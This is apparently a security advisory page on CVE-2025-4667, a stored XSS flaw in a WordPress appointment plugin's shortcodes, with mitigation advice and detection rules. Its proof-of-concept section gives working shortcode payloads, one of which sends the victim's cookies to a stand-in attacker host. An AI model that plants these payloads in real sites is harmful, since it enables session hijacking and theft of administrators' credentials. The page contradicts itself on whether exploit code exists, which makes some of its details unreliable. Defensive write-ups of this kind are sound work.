CVE-2025-4667
Executive Summary
CVE-2025-4667 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the Appointment Booking Calendar — Simply Schedule Appointments Booking Plugin for WordPress, up to and including version 1.6.8.30. The flaw resides in the plugin’s shortcodes ssa_admin_upcoming_appointments, ssa_admin_upcoming_appointments, and ssa_past_appointments, which fail to properly sanitize user-supplied attributes and escape output. This allows authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. When an administrator or other user visits a page containing the injected shortcode, the malicious script executes in their browser, potentially leading to session hijacking, credential theft, or further WordPress compromise.
The vulnerability is classified as a WordPress ecosystem issue, not related to Apache or Nginx. The CVSS v3.1 score is 6.4 (Medium), with a vector emphasizing low-privilege authenticated access and a changed scope. No public exploit code or PoC is currently available, and the patch status remains unknown.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to monitor the plugin’s update channel for a patched version. Since the plugin is not an NPM, PyPI, Go, or Ruby package, no additional supply chain analysis is required.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Base Score: 6.4 (Medium)
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: Low (PR:L) – An attacker needs contributor-level access or higher.
- User Interaction: None (UI:N) – The victim does not need to perform any action beyond visiting the affected page.
- Scope: Changed (S:C) – The injected script can impact resources beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – Limited data exposure possible.
- Integrity Impact: Low (I:L) – Limited modification of data possible.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the potential for privilege escalation and lateral movement within the WordPress admin panel makes this a significant risk for multi-user sites.
Deep Dive & Mechanics
The vulnerability is a classic Stored XSS in WordPress shortcodes. The plugin registers three shortcodes: ssa_admin_upcoming_appointments, ssa_admin_upcoming_appointments (duplicate in description), and ssa_past_appointments. These shortcodes accept user-supplied attributes (e.g., title, class, style) that are rendered in the page output without proper sanitization or escaping.
Root Cause: The plugin uses add_shortcode() to register these shortcodes. The callback function likely retrieves attribute values using shortcode_atts() but fails to apply WordPress’s built-in escaping functions like esc_attr() or wp_kses() before outputting them. This allows an attacker to inject attributes such as onmouseover or onclick with JavaScript payloads.
Attack Flow:
- An authenticated user with contributor-level access creates or edits a post/page.
- The user inserts one of the vulnerable shortcodes with a malicious attribute, e.g.:
[ssa_admin_upcoming_appointments title="<script>alert('XSS')</script>"] - The plugin processes the shortcode and outputs the unsanitized attribute directly into the HTML.
- When an administrator or any user visits the page, the script executes in their browser context.
Impact: The attacker can steal session cookies, perform actions on behalf of the victim (e.g., create admin accounts), deface the site, or redirect users to malicious domains.
Vulnerable vs. Patched Code
Since no patch is available, the following is a hypothetical comparison based on common XSS remediation patterns.
Vulnerable Code (simplified):
function ssa_admin_upcoming_appointments_shortcode($atts) {
$atts = shortcode_atts(array(
'title' => 'Upcoming Appointments',
), $atts);
return '<div class="ssa-upcoming" title="' . $atts['title'] . '">...</div>';
}
add_shortcode('ssa_admin_upcoming_appointments', 'ssa_admin_upcoming_appointments_shortcode');
Patched Code (expected):
function ssa_admin_upcoming_appointments_shortcode($atts) {
$atts = shortcode_atts(array(
'title' => 'Upcoming Appointments',
), $atts);
$safe_title = esc_attr($atts['title']);
return '<div class="ssa-upcoming" title="' . $safe_title . '">...</div>';
}
add_shortcode('ssa_admin_upcoming_appointments', 'ssa_admin_upcoming_appointments_shortcode');
The patch uses esc_attr() to HTML-encode special characters, preventing script injection. Additionally, wp_kses() could be used to allow only safe HTML tags.
Exploitation & Lab Setup
Red Team (Proof of Concept)
Since no public exploit code exists, the following is a manual PoC for educational purposes.
Prerequisites:
- A WordPress site with the vulnerable plugin installed (version <= 1.6.8.30).
- A user account with contributor-level access or higher.
Steps:
- Log in as a contributor.
- Create a new post or page.
- Switch to the Text/HTML editor.
- Insert the following shortcode:
[ssa_admin_upcoming_appointments title="<img src=x onerror=alert(document.cookie)>"] - Publish or preview the post.
- When an administrator views the post, the JavaScript executes, displaying the admin’s cookies.
Advanced Payload:
[ssa_admin_upcoming_appointments title="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]
Blue Team (Detection & Hardening)
Detection:
- Monitor WordPress post revisions for suspicious shortcode attributes containing
<script>,onerror,onload, etc. - Use a Web Application Firewall (WAF) to block requests with XSS patterns in shortcode attributes.
- Enable WordPress’s built-in
DISALLOW_UNFILTERED_HTMLconstant for lower-privileged users.
Hardening:
- Restrict contributor-level users from using shortcodes that output user-supplied data.
- Apply a virtual patch using a WAF rule to sanitize shortcode attributes.
- Regularly audit user roles and permissions.
Indicators of Compromise (IOCs)
- File System: Look for modified posts/pages containing shortcodes with suspicious attributes.
- Database: Search the
wp_poststable for[ssa_admin_upcoming_appointmentsor[ssa_past_appointmentsfollowed byonerror,onclick,<script>, etc. - Logs: Web server logs showing requests to pages with these shortcodes from contributor accounts.
- Network: Outbound connections to unknown domains from the WordPress admin panel (if payload exfiltrates data).
Detection Engineering
YARA Rule
rule CVE_2025_4667_Stored_XSS {
meta:
description = "Detects stored XSS payloads in WordPress shortcode attributes for CVE-2025-4667"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-4667"
strings:
$shortcode1 = /\[ssa_admin_upcoming_appointments[^\]]*?[^a-zA-Z]/
$shortcode2 = /\[ssa_past_appointments[^\]]*?[^a-zA-Z]/
$xss_payload = /(<script|<img[^>]+onerror|<svg[^>]+onload)/
condition:
($shortcode1 or $shortcode2) and $xss_payload
}
Sigma Rule
title: CVE-2025-4667 Stored XSS in Simply Schedule Appointments
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts via vulnerable shortcodes in WordPress
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-uri-query|contains:
- 'ssa_admin_upcoming_appointments'
- 'ssa_past_appointments'
cs-uri-query|re: '(<script|<img[^>]+onerror|<svg[^>]+onload)'
condition: selection
falsepositives:
- Legitimate use of shortcodes with safe attributes (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-4667 Stored XSS in Simply Schedule Appointments"; flow:to_server; content:"ssa_admin_upcoming_appointments"; http_uri; pcre:"/(<script|<img[^>]+onerror|<svg[^>]+onload)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Restrict contributor-level users from using shortcodes by modifying their capabilities via a plugin like User Role Editor.
- Apply a virtual patch using a WAF (e.g., Cloudflare, ModSecurity) to block requests containing XSS patterns in shortcode attributes.
Long-term Fix:
- The vendor must release a patched version that properly escapes shortcode attributes using
esc_attr()andwp_kses(). - Users should update to the latest version once available.
Workaround:
- Add the following code to the theme’s
functions.phpto override the shortcodes with sanitized versions (if you have developer access):
function patched_ssa_admin_upcoming_appointments_shortcode($atts) {
$atts = shortcode_atts(array('title' => 'Upcoming Appointments'), $atts);
$safe_title = esc_attr($atts['title']);
return '<div class="ssa-upcoming" title="' . $safe_title . '">...</div>';
}
remove_shortcode('ssa_admin_upcoming_appointments');
add_shortcode('ssa_admin_upcoming_appointments', 'patched_ssa_admin_upcoming_appointments_shortcode');
Valters IT
Securing WordPress, One Plugin at a Time
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.